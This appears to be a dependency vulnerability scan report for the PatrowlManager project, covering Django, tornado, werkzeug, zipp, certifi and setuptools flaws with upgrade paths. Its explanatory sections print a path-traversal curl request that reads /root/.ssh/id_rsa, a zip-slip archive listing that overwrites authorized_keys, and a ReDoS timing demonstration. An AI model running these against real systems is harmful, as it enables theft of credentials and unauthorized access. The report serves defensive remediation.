Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 4.2.16, 5.0.9, 5.1.1 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.14.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Directory Traversal via the derived classes of the django.core.files.storage.Storage base class which override generate_filename() without replicating the file path validations existing in the parent class. This allows potential access to out of scope data via certain inputs when calling save() method.

Note: Built-in Storage sub-classes were not affected by this vulnerability.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade django to version 4.2.14, 5.0.7 or higher.

References

medium severity

Improper Output Neutralization for Logs

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.22.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to Improper Output Neutralization for Logs via the request.path function used by HTTP responses, which allows control characters to be written unescaped into logs. An attacker can manipulate log entries and potentially cause log injection or forgery by sending specially crafted URLs.

Remediation

Upgrade Django to version 4.2.22, 5.1.10, 5.2.2 or higher.

References

medium severity

SQL Injection

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.26.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to SQL Injection via the _connector argument in the QuerySet.filter, QuerySet.exclude, QuerySet.get, and Q objects. A dictionary using dictionary expansion that is supplied as the _connector value can allow attackers to execute malicious SQL.

Remediation

Upgrade Django to version 4.2.26, 5.1.14, 5.2.8 or higher.

References

medium severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.15.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') via the floatformat() template filter, when given a string representation of a number in scientific notation with a large exponent.

Remediation

Upgrade django to version 4.2.15, 5.0.8 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: tornado
  • Introduced through: tornado@5.1 and flower@0.9.2

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce tornado@5.1
    Remediation: Upgrade to tornado@6.4.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce flower@0.9.2 tornado@5.1
    Remediation: Upgrade to flower@0.9.2.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to inefficient cookie parsing that results in quadratic performance. An attacker could cause tornado to consume excessive CPU resources and block the event loop through maliciously crafted cookies.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade tornado to version 6.4.2 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: werkzeug
  • Introduced through: werkzeug@2.0.1

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce werkzeug@2.0.1
    Remediation: Upgrade to werkzeug@3.0.6.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in formparser.MultiPartParser(). An attacker can cause the parser to consume more memory than the upload size, in excess of max_form_memory_size, by sending malicious data in a non-file field of a multipart/form-data request.

Remediation

Upgrade werkzeug to version 3.0.6 or higher.

References

medium severity

Infinite loop

  • Vulnerable module: zipp
  • Introduced through: zipp@0.6.0, importlib-metadata@0.23 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce zipp@0.6.0
    Remediation: Upgrade to zipp@3.19.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce importlib-metadata@0.23 zipp@0.6.0
    Remediation: Upgrade to importlib-metadata@6.9.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce kombu@4.6.7 importlib-metadata@0.23 zipp@0.6.0
    Remediation: Upgrade to kombu@5.3.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce celery@4.4.0 kombu@4.6.7 importlib-metadata@0.23 zipp@0.6.0
    Remediation: Upgrade to celery@5.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 celery@4.4.0 kombu@4.6.7 importlib-metadata@0.23 zipp@0.6.0
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-results@2.0.1 celery@4.4.0 kombu@4.6.7 importlib-metadata@0.23 zipp@0.6.0
    Remediation: Upgrade to django-celery-results@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce flower@0.9.2 celery@4.4.0 kombu@4.6.7 importlib-metadata@0.23 zipp@0.6.0
    Remediation: Upgrade to flower@0.9.2.

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

medium severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: certifi
  • Introduced through: certifi@2017.4.17, requests@2.25.1 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce certifi@2017.4.17
    Remediation: Upgrade to certifi@2022.12.7.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce requests@2.25.1 certifi@2017.4.17
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 requests@2.25.1 certifi@2017.4.17
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce thehive4py@1.8.1 requests@2.25.1 certifi@2017.4.17
    Remediation: Upgrade to thehive4py@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 certifi@2017.4.17
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 requests@2.25.1 certifi@2017.4.17
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 certifi@2017.4.17

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity resulting in Certifi root certificate removal from TrustCor. The root certificates are being removed pursuant to an investigation prompted by media reporting that TrustCor's ownership also operated a business that produced spyware.

Remediation

Upgrade certifi to version 2022.12.7 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: setuptools
  • Introduced through: gunicorn@20.0.4

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce gunicorn@20.0.4 setuptools@40.5.0
    Remediation: Upgrade to gunicorn@20.1.0.

Overview

Affected versions of this package are vulnerable to Directory Traversal through the ‎PackageIndex._download_url method. Due to insufficient sanitization of special characters, an attacker can write files to arbitrary locations on the filesystem with the permissions of the process running the Python code. In certain scenarios, an attacker could potentially escalate to remote code execution by leveraging malicious URLs present in a package index.

PoC

python poc.py
